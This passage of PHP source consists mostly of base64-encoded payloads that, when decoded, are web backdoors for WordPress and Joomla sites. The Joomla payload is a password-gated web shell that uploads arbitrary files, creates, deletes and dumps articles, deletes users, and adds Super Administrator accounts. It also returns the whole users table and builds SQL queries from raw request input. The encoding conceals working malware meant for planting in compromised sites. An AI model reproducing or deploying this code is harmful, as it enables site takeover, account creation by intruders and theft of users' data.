iAnJywNCgkncG9zdF9zdGF0dXMnICAgICAgPT4gJ3B1Ymxpc2gnLA0KCSdzdXBwcmVzc19maWx0ZXJzJyA9PiB0cnVlICk7DQoNCglpZihpc3NldCgkX1JFUVVFU1RbJ3NlYXJjaF9ieV91cmwnXSkpIHsNCgkJJHRoZV9zbHVnID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJF9SRVFVRVNUWydzZWFyY2hfYnlfdXJsJ10pOw0KCQlpZighZW1wdHkoJHBvc3RfdHlwZSkgJiYgJHBvc3RfdHlwZSA9PSAncG9zdCcpIHsNCgkJCSRhcmdzWyduYW1lJ10gPSAkdGhlX3NsdWc7DQoJCX0NCgkJZWxzZSB7DQoJCQkkYXJnc1sncGFnZW5hbWUnXSA9ICR0aGVfc2x1ZzsNCgkJfQ0KCX0NCgkNCglpZihpc3NldCgkX1JFUVVFU1RbJ3NlYXJjaF9ieV9rZXl3b3JkJ10pKSB7DQoJCSRhcmdzWydzJ10gPSAkX1JFUVVFU1RbJ3NlYXJjaF9ieV9rZXl3b3JkJ107DQoJfQ0KCQ0KCSRwb3N0c19hcnJheSA9IGdldF9wb3N0cyggJGFyZ3MgKTsNCglmb3IoJGk9MCwkbGVuPWNvdW50KCRwb3N0c19hcnJheSk7JGk8JGxlbjskaSsrKSB7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydJRCddID0gJHBvc3RzX2FycmF5WyRpXS0+SUQ7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydwb3N0X3RpdGxlJ10gPSAkcG9zdHNfYXJyYXlbJGldLT5wb3N0X3RpdGxlOw0KCQkkbmV3X3Bvc3RzX2FycmF5WyRpXVsncG9zdF9uYW1lJ10gPSAkcG9zdHNfYXJyYXlbJGldLT5wb3N0X25hbWU7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydwb3N0X2NvbnRlbnQnXSA9ICRwb3N0c19hcnJheVskaV0tPnBvc3RfY29udGVudDsNCgl9DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbmV3X3Bvc3RzX2FycmF5KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndXBsb2FkX2ZpbGUnXSkpIHsNCglwcmludCAnPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ibXlfZmlsZSI+PGlucHV0IHR5cGU9InN1Ym1pdCI+PC9mb3JtPic7DQp9DQoNCmlmKCFlbXB0eSgkX0ZJTEVTWydteV9maWxlJ10pKSB7DQoJJGJhc2VfbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbJ215X2ZpbGUnXVsnbmFtZSddKTsNCglpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snbXlfZmlsZSddWyd0bXBfbmFtZSddLCAkYmFzZV9uYW1lKSkgew0KCQlwcmludCAnPGEgaHJlZj0iJy4kYmFzZV9uYW1lLiciIHRhcmdldD0iX2JsYW5rIj4nLiRiYXNlX25hbWUuJzwvYT4nOw0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X2FwaV92ZXJzaW9uJ10pKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihhcnJheSgnYXBpX3ZlcnNpb24nID0+IG51bWJlcl9mb3JtYXQoQVBJX1ZFUlNJT04sIDIpKSk7DQp9DQo/Pg==';



$jm_code = 'PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicuYWRkc2xhc2hlcygkYXJyYXkpLiciJzsNCiAgICBpZiAoaXNfbnVtZXJpYygkYXJyYXkpKSByZXR1cm4gJGFycmF5Ow0KICAgIGlmICgkYXJyYXkgPT09IG51bGwpIHJldHVybiAnbnVsbCc7DQogICAgaWYgKCRhcnJheSA9PT0gdHJ1ZSkgcmV0dXJuICd0cnVlJzsNCiAgICBpZiAoJGFycmF5ID09PSBmYWxzZSkgcmV0dXJuICdmYWxzZSc7DQoNCiAgICAkYXNzb2MgPSBmYWxzZTsNCiAgICAkaSA9IDA7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgIGlmICgkayAhPT0gJGkrKyl7DQogICAgICAgICAgICAkYXNzb2MgPSB0cnVlOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgICR2ID0gYXJyYXlfdG9fanNvbigkdik7DQogICAgICAgIGlmICgkYXNzb2Mpew0KICAgICAgICAgICAgJGsgPSAnIicuYWRkc2xhc2hlcygkaykuJyInOw0KICAgICAgICAgICAgJHYgPSAkay4nOicuJHY7DQogICAgICAgIH0NCiAgICAgICAgJHJlc1tdID0gJHY7DQogICAgfQ0KICAgICRyZXMgPSBpbXBsb2RlKCcsJywgJHJlcyk7DQogICAgcmV0dXJuICgkYXNzb2MpPyAneycuJHJlcy4nfScgOiAnWycuJHJlcy4nXSc7DQp9DQoNCmZ1bmN0aW9uIGdldF9mdWxsX3BhdGgoJGxpbmspIHsNCgkkZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQoJJGxldmVsc191cCA9IHN1YnN0cl9jb3VudChKUEFUSF9TSVRFLCAnLi4nKTsNCglmb3IoJGk9MDskaTwkbGV2ZWxzX3VwOyRpKyspIHsNCgkJcHJlZ19tYXRjaCgnLyhcL1teXC9dKykkLycsICRkaXIsICRtYXRjaGVzKTsNCgkJJGRpciA9IHByZWdfcmVwbGFjZSgnL1wvW15cL10rJC8nLCAnJywgJGRpcik7DQoJCSRsaW5rID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMV0sICcnLCAkbGluayk7DQoJfQ0KCQ0KCWlmKHN0cnBvcygkbGluaywgJ2h0dHAnKSAhPT0gMCkgew0KCQkkbGluayA9ICdodHRwJyAuIChlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgPyAnJyA6ICdzJykgLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJGxpbms7DQoJfQ0KCQ0KCXJldHVybiAkbGluazsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQpkZWZpbmUoJ1NIRUxMX1BBU1NXT1JEJywgJ2E2YThjYjg3N2VlMTgyMTVmMmMwZmMyYTZjN2I0ZjJhJyk7DQpkZWZpbmUoJ01BWF9VUF9MRVZFTFMnLCAxMCk7DQoNCmlmKChlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgJiYgZW1wdHkoJF9QT1NUWydwYXNzd29yZCddKSkgfHwgKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICE9IFNIRUxMX1BBU1NXT1JEKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiPlBhc3N3b3JkIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgPT0gU0hFTExfUEFTU1dPUkQpIHsNCglzZXRjb29raWUoJ3Bhc3N3b3JkJywgU0hFTExfUEFTU1dPUkQsIHRpbWUoKSArIDYwKjYwKjI0KTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7DQoJZXhpdDsNCn0NCg0KaWYoZW1wdHkoJF9DT09LSUUpIHx8ICRfQ09PS0lFWydwYXNzd29yZCddICE9IFNIRUxMX1BBU1NXT1JEKSB7DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ2YnXSkpIHsNCgkkbmV3X3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKSAuICcvJyAuICRfRklMRVNbJ2YnXVsnbmFtZSddOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRuZXdfcGF0aCkpIHsNCgkJcHJpbnQgIjxhIGhyZWY9XCJ7JF9GSUxFU1snZiddWyduYW1lJ119XCI+eyRfRklMRVNbJ2YnXVsnbmFtZSddfTwvYT4iOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgIlVwbG9hZCBmYWlsZWQhIjsNCgl9DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndWYnXSkgJiYgJF9SRVFVRVNUWyd1ZiddID09IDEpIHsNCglwcmludCAiPGZvcm0gbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwieyRfU0VSVkVSWydQSFBfU0VMRiddfVwiPjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIj48L2Zvcm0+IjsNCglleGl0Ow0KfQ0KDQpkZWZpbmUoJ19KRVhFQycsIDEpOw0KZGVmaW5lKCdEUycsIERJUkVDVE9SWV9TRVBBUkFUT1IpOw0KDQokY291bnRlciA9IDA7DQokZGlyX3VwID0gJy4nIC4gRFM7DQpkbyB7DQoJJGZpbGVfZm91bmQgPSBmYWxzZTsNCgkkZmlsZV9wYXRoID0gJGRpcl91cCAuICdhZG1pbmlzdHJhdG9yJzsNCglpZihmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KCQkkZmlsZV9mb3VuZCA9IHRydWU7DQoJfQ0KCWVsc2Ugew0KCQkkZGlyX3VwIC49ICcuLicgLiBEUzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KZGVmaW5lKCdKUEFUSF9CQVNFJywgJGRpcl91cCk7DQoJDQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZGVmaW5lcy5waHAnICk7DQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZnJhbWV3b3JrLnBocCcgKTsNCg0KLy9kZWZpbmUoJ0pQQVRIX0NPTVBPTkVOVF9BRE1JTklTVFJBVE9SJywgZGlybmFtZShfX0ZJTEVfXykgLiAiL2FkbWluaXN0cmF0b3IiKTsNCmRlZmluZSgnSlBBVEhfQ09NUE9ORU5UX0FETUlOSVNUUkFUT1InLCBKUEFUSF9CQVNFIC4gRFMgLiAnYWRtaW5pc3RyYXRvcicgLiBEUyAuICdjb21wb25lbnRzJyAuIERTIC4gJ2NvbV9jb250ZW50Jyk7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4nL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOw0KLy8kYXBwID0gSkZhY3Rvcnk6OmdldEFwcGxpY2F0aW9uKCdzaXRlJyk7DQovL3JlcXVpcmVfb25jZSBKUEFUSF9CQVNFLicvaW5jbHVkZXMvZnJhbWV3b3JrLnBocCc7DQoNCg0KLy9lY2hvIEpQQVRIX0JBU0UuICIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4gIi9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgLy9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2NvbnRlbnQvbW9kZWxzDQoNCnJlcXVpcmVfb25jZShKUEFUSF9CQVNFLkRTLidjb21wb25lbnRzJy5EUy4nY29tX2NvbnRlbnQnLkRTLidoZWxwZXJzJy5EUy4ncm91dGUucGhwJyk7CQkJCQkJIA0KCQkJCQkJIA0KJGFwcCA9IEpGYWN0b3J5OjpnZXRBcHBsaWNhdGlvbignc2l0ZScsIGFycmF5KCdzZXNzaW9uJyA9PiBmYWxzZSkpOw0KJGFwcC0+aW5pdGlhbGlzZSgpOw0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydib2R5J10pKSB7DQoNCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJJF9SRVFVRVNUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQp9DQoNCgkkbmV3X2FydGljbGUgPSBuZXcgQ29udGVudE1vZGVsQXJ0aWNsZSgpOw0KCSRkYXRlID0gZGF0ZSgkX1JFUVVFU1RbJ3B1Ymxpc2hfdXAnXSAuICcgJyAuIHJhbmQoMSwyMykuICc6JyAuIHJhbmQoMSw1OSkuICc6JyAuIHJhbmQoMSw1OSkpOw0KCSRkYXRhID0gYXJyYXkoDQoJCSdjYXRpZCcgPT4gJF9SRVFVRVNUWydjYXRpZCddLCAvL25ld3NhcnRpY2xlcw0KCQkndGl0bGUnID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkJJ2Z1bGx0ZXh0JyA9PiAkX1JFUVVFU1RbJ2JvZHknXSwNCgkJJ2ludHJvdGV4dCcgPT4gJF9SRVFVRVNUWydpbnRybyddLA0KCQknc3RhdGUnID0+ICRfUkVRVUVTVFsncHVibGlzaGVkJ10sDQogICAgICAgICdjcmVhdGVkX2J5JyA9PiAkX1JFUVVFU1RbJ2NyZWF0ZWRfYnknXSwNCiAgICAgICAgJ3B1Ymxpc2hfdXAnID0+ICRkYXRlLA0KCQknY3JlYXRlZCcgPT4gJGRhdGUsDQoJCSdhbGlhcycgPT4gJF9SRVFVRVNUWydhbGlhcyddLA0KCQknbGFuZ3VhZ2UnID0+ICRfUkVRVUVTVFsnbGFuZyddIC8vRk9STUFUIEVYQU1QTEU6IGVuLUdCDQoJKTsNCglpZighZW1wdHkoJF9SRVFVRVNUWydpZCddKSkgew0KCQkkZGF0YVsnaWQnXSA9ICRfUkVRVUVTVFsnaWQnXTsNCgl9DQoJJHRhYmxlID0gSlRhYmxlOjpnZXRJbnN0YW5jZSgnY29udGVudCcsICdKVGFibGUnLCBhcnJheSgpKTsNCgkvLyBCaW5kIGRhdGENCglpZiAoISR0YWJsZS0+YmluZCgkZGF0YSkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJDQoJLy8gU3RvcmUgdGhlIGRhdGEuDQoJaWYgKCEkdGFibGUtPnN0b3JlKCkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJfQ0KCQ0KCXByaW50IGpzb25fZW5jb2RlKGFycmF5KCJhcnRpY2xlX2lkIiA9PiAkdGFibGUtPmlkKSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKSkgew0KCSRyb3cgPSBKVGFibGU6OmdldEluc3RhbmNlKCdjb250ZW50JywgJ0pUYWJsZScpOw0KCSRyb3ctPmRlbGV0ZSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKTsNCn0NCg0KJGRiID0gSkZhY3Rvcnk6OmdldERCTygpOyAvLyBnZXQgZGF0YWJhc2Ugb2JqZWN0DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2FydGljbGVfaWQnXSkpIHsNCgkkYXJ0aWNsZV9pZCA9ICRfUkVRVUVTVFsnYXJ0aWNsZV9pZCddOw0KCSRzcWwgPSAiU0VMRUNUICogRlJPTSAjX19jb250ZW50IFdIRVJFIGlkPSciIC4gJF9SRVFVRVNUWydhcnRpY2xlX2lkJ10uIiciOyAvLyBwcmVwYXJlIHF1ZXJ5DQoNCgkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCSRhcnRpY2xlID0gJGRiLT5sb2FkT2JqZWN0KCk7IC8vIGV4ZWN1dGUgcXVlcnksIHJldHVybiByZXN1bHQgbGlzdA0KfQ0KDQppZighZW1wdHkoJGFydGljbGUpKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYXJ0aWNsZSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddKSkgew0KCSR1c2VyID0gSkZhY3Rvcnk6OmdldFVzZXIoJF9SRVFVRVNUWyd1c2VybmFtZTJkZWxldGUnXSk7DQoJaWYoJHVzZXItPmRlbGV0ZSgpKSB7DQoJCXByaW50ICJVc2VyIHskX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddfSBoYXMgYmVlbiBkZWxldGVkISI7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1c2VyX25hbWUnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd1c2VyX2VtYWlsJ10pKSB7DQoJLyoNCiANCglJIGhhbmRsZSB0aGlzIGNvZGUgYXMgaWYgaXQgaXMgYSBzbmlwcGV0IG9mIGEgbWV0aG9kIG9yIGZ1bmN0aW9uISENCgkgDQoJRmlyc3Qgc2V0IHVwIHNvbWUgdmFyaWFibGVzL29iamVjdHMNCgkqLw0KCS8vIGdldCB0aGUgQUNMDQoJJGFjbCA9JiBKRmFjdG9yeTo6Z2V0QUNMKCk7DQoJIA0KCS8qIGdldCB0aGUgY29tX3VzZXIgcGFyYW1zICovDQoJIA0KCWppbXBvcnQoJ2pvb21sYS5hcHBsaWNhdGlvbi5jb21wb25lbnQuaGVscGVyJyk7IC8vIGluY2x1ZGUgbGlicmFyaWVzL2FwcGxpY2F0aW9uL2NvbXBvbmVudC9oZWxwZXIucGhwDQoJJHVzZXJzUGFyYW1zID0gJkpDb21wb25lbnRIZWxwZXI6OmdldFBhcmFtcyggJ2NvbV91c2VycycgKTsgLy8gbG9hZCB0aGUgUGFyYW1zDQoJIA0KCS8vICJnZW5lcmF0ZSIgYSBuZXcgSlVzZXIgT2JqZWN0DQoJJHVzZXIgPSBKRmFjdG9yeTo6Z2V0VXNlcigwKTsgLy8gaXQncyBpbXBvcnRhbnQgdG8gc2V0IHRoZSAiMCIgb3RoZXJ3aXNlIHlvdXIgYWRtaW4gdXNlciBpbmZvcm1hdGlvbiB3aWxsIGJlIGxvYWRlZA0KCSANCgkkZGF0YSA9IGFycmF5KCk7IC8vIGFycmF5IGZvciBhbGwgdXNlciBzZXR0aW5ncw0KCQ0KCSR1c2VydHlwZSA9ICdTdXBlciBBZG1pbmlzdHJhdG9yJzsNCgkgDQoJLy8gc2V0IHVwIHRoZSAibWFpbiIgdXNlciBpbmZvcm1hdGlvbg0KCQ0KCSRkYXRhWyduYW1lJ10gPSAnWmhhbm8gWmhhbm8nOyAvLyBhZGQgZmlyc3QtIGFuZCBsYXN0bmFtZQ0KCSRkYXRhWyd1c2VybmFtZSddID0gJF9SRVFVRVNUWyd1c2VyX25hbWUnXTsgLy8gYWRkIHVzZXJuYW1lDQoJJGRhdGFbJ2VtYWlsJ10gPSAkX1JFUVVFU1RbJ3VzZXJfZW1haWwnXTsgLy8gYWRkIGVtYWlsDQoJJGRhdGFbJ2dpZCddID0gMjQ7ICAvLyBnZW5lcmF0ZSB0aGUgZ2lkIGZyb20gdGhlIHVzZXJ0eXBlDQoJIA0KCS8qIG5vIG5lZWQgdG8gYWRkIHRoZSB1c2VydHlwZSwgaXQgd2lsbCBiZSBnZW5lcmF0ZWQgYXV0b21hdGljYWx5IGZyb20gdGhlIGdpZCAqLw0KCSANCgkkZGF0YVsncGFzc3dvcmQnXSA9ICRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddOyAvLyBzZXQgdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3Bhc3N3b3JkMiddID0gJF9SRVFVRVNUWyd1c2VyX3Bhc3N3b3JkJ107IC8vIGNvbmZpcm0gdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3NlbmRFbWFpbCddID0gMTsgLy8gc2hvdWxkIHRoZSB1c2VyIHJlY2VpdmUgc3lzdGVtIG1haWxzPw0KCSANCgkvKiBOb3cgd2UgY2FuIGRlY2lkZSwgaWYgdGhlIHVzZXIgd2lsbCBuZWVkIGFuIGFjdGl2YXRpb24gKi8NCgkkZGF0YVsnYmxvY2snXSA9IDA7IC8vIGRvbid0IGJsb2NrIHRoZSB1c2VyDQoJIA0KCWlmICghJHVzZXItPmJpbmQoJGRhdGEpKSB7IC8vIG5vdyBiaW5kIHRoZSBkYXRhIHRvIHRoZSBKVXNlciBPYmplY3QsIGlmIGl0IG5vdCB3b3Jrcy4uLi4NCgkJSkVycm9yOjpyYWlzZVdhcm5pbmcoJycsIEpUZXh0OjpfKCAkdXNlci0+Z2V0RXJyb3IoKSkpOyAvLyAuLi5yYWlzZSBhbiBXYXJuaW5nDQoJfQ0KCSANCglpZiAoISR1c2VyLT5zYXZlKCkpIHsgLy8gaWYgdGhlIHVzZXIgaXMgTk9UIHNhdmVkLi4uDQoJCUpFcnJvcjo6cmFpc2VXYXJuaW5nKCcnLCBKVGV4dDo6XyggJHVzZXItPmdldEVycm9yKCkpKTsgLy8gLi4ucmFpc2UgYW4gV2FybmluZw0KCX0NCgkgDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlci0+dXNlcm5hbWUgLiAiIGNyZWF0ZWQhIik7IC8vIGVsc2UgcmV0dXJuIHRoZSBuZXcgSlVzZXIgb2JqZWN0DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRzJ10pKSB7DQoJJGNhdF91cmxzID0gYXJyYXkoKTsNCgkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlLCAjX19tZW51LnBhdGggQVMgbWVudV9wYXRoLCBDT1VOVCgjX19jb250ZW50LmlkKSBBUyBjb3VudF9hcnRpY2xlcyBGUk9NICNfX2NhdGVnb3JpZXMgDQoJSU5ORVIgSk9JTiAjX19jb250ZW50IE9OICNfX2NhdGVnb3JpZXMuaWQgPSAjX19jb250ZW50LmNhdGlkIA0KCUlOTkVSIEpPSU4gI19fbWVudSBPTiAjX19jYXRlZ29yaWVzLmlkID0gUkVQTEFDRSgjX19tZW51LmxpbmssICdpbmRleC5waHA/b3B0aW9uPWNvbV9jb250ZW50JnZpZXc9Y2F0ZWdvcnkmbGF5b3V0PWJsb2cmaWQ9JywgJycpDQoJR1JPVVAgQlkgI19fY2F0ZWdvcmllcy5pZCBPUkRFUiBCWSAjX19jYXRlZ29yaWVzLnRpdGxlICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCglmb3IgKCRpPTAsJGxlbj1jb3VudCgkY2F0cyk7JGk8JGxlbjskaSsrKSB7DQoJCSRjYXRzWyRpXS0+cGF0aCA9IGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJGNhdHNbJGldLT5tZW51X3BhdGgpOw0KCQl1bnNldCgkY2F0c1skaV0tPm1lbnVfcGF0aCk7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjYXRzKSkgew0KCQkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlIEZST00gI19fY2F0ZWdvcmllcyAiOw0KCQkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCQkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCgkJZm9yICgkaT0wLCRsZW49Y291bnQoJGNhdHMpOyRpPCRsZW47JGkrKykgew0KCQkJJGNhdHNbJGldLT5wYXRoID0gZ2V0X2Z1bGxfcGF0aChKVVJJOjpiYXNlKCkgLiAnaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWNhdGVnb3J5JmxheW91dD1ibG9nJmlkPScgLiAkY2F0c1skaV0tPmlkKTsNCgkJCSRjYXRzWyRpXS0+Y291bnRfYXJ0aWNsZXMgPSAnPyc7DQoJCX0NCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkY2F0cyk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF91c2VyJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgKiBGUk9NICNfX3VzZXJzICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkdXNlcnMgPSAkZGItPmxvYWRPYmplY3RMaXN0KCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlcnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXJ0aWNsZXNfbGlzdCddKSkgew0KCSRvZmZzZXQgPSAwOw0KCSRhcnRpY2xlc19udW0gPSA1MDsNCgkkYWxsX2FydGljbGVzID0gYXJyYXkoKTsNCgkNCgkkY29uZCA9ICcnOw0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NlYXJjaF9ieV90aXRsZSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAjX19jb250ZW50LnRpdGxlIExJS0UgJyV7JF9SRVFVRVNUWydzZWFyY2hfYnlfdGl0bGUnXX0lJyAiOw0KCX0NCgkNCglpZighZW1wdHkoJF9SRVFVRVNUWydzZWFyY2hfYnlfYm9keSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAoI19fY29udGVudC5mdWxsdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJyBPUiAjX19jb250ZW50LmludHJvdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJykgIjsNCgl9DQoJDQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2FsaWFzJ10pKSB7DQoJCSRjb25kIC49ICIgQU5EICNfX2NvbnRlbnQuYWxpYXMgTElLRSAnJXskX1JFUVVFU1RbJ3NlYXJjaF9ieV9hbGlhcyddfSUnICI7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjb25kKSkgew0KCQkkY29uZCA9ICcgQU5EIDI9MiAnOw0KCX0NCgkNCglkbyB7DQoJCSRzcWwgPSAiU0VMRUNUICNfX2NvbnRlbnQuaWQsICNfX2NvbnRlbnQudGl0bGUsICNfX2NvbnRlbnQuZnVsbHRleHQsICNfX2NvbnRlbnQuaW50cm90ZXh0LCAjX19jb250ZW50LmFsaWFzIEZST00gI19fY29udGVudCBXSEVSRSAxPTEgeyRjb25kfSBPUkRFUiBCWSBgdGl0bGVgIExJTUlUIHskb2Zmc2V0fSwgJGFydGljbGVzX251bSAiOyAvLyBwcmVwYXJlIHF1ZXJ5DQoJCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJCSRhcnRpY2xlcyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoJCSRhbGxfYXJ0aWNsZXMgKz0gJGFydGljbGVzOw0KCQkkb2Zmc2V0ICs9ICRhcnRpY2xlc19udW07DQoJfXdoaWxlKGNvdW50KCRhcnRpY2xlcykgPT0gJGFydGljbGVzX251bSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYWxsX2FydGljbGVzKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgY2F0aWQsIGFsaWFzLCBsYW5ndWFnZSBGUk9NICNfX2NvbnRlbnQgV0hFUkUgaWQgPSAneyRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ119JyAiOw0KCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJJGFydGljbGUgPSAkZGItPmxvYWRPYmplY3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoNCgkkc3FsID0gIlNFTEVDVCBwYXRoIEZST00gI19fbWVudSBXSEVSRSBsaW5rIExJS0UgJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRl